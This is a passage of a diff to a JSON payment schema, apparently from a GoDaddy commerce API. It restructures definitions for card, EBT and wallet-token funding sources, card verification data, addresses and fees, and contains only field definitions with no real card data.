"title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" }, - "required": [ - "total", - "currency" - ], - "description": "Payment amount requested" + "readOnly": true, + "type": "array" }, - "netAmount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "externalProcessor": { + "description": "Processor that has already processed this payment externally", + "type": "string" + }, + "fundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "feeType" - ] + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" + } }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ], - "description": "Current net payment amount" - }, - "fundingSource": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", "properties": { "cardDetail": { - "description": "Card detail", "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", "type": "string", - "description": "Card number" + "writeOnly": true }, - "type": { + "serviceCode": { + "description": "Track data read from card", "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" + "writeOnly": true }, "source": { - "type": "string", "description": "Source of the card", "enum": [ "DIRECT", "APPLE_PAY", "GOOGLE_PAY" - ] + ], + "type": "string" }, "track1Data": { + "description": "Card track 1 data", "type": "string", - "writeOnly": true, - "description": "Card track 1 data" + "writeOnly": true }, "track2Data": { + "description": "Card track 2 data", "type": "string", - "writeOnly": true, - "description": "Card track 2 data" + "writeOnly": true }, "track3Data": { + "description": "Card track 3 data", "type": "string", - "writeOnly": true, - "description": "Card track 3 data" + "writeOnly": true }, - "firstName": { - "type": "string", - "description": "First name of card holder" + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "lastName": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 + "writeOnly": true }, - "sequenceNumber": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." + "writeOnly": true }, - "serviceCode": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", "writeOnly": true }, - "keySerialNumber": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "writeOnly": true }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + ], "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } - } + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true } }, "required": [ - "cardDetail" - ] + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": 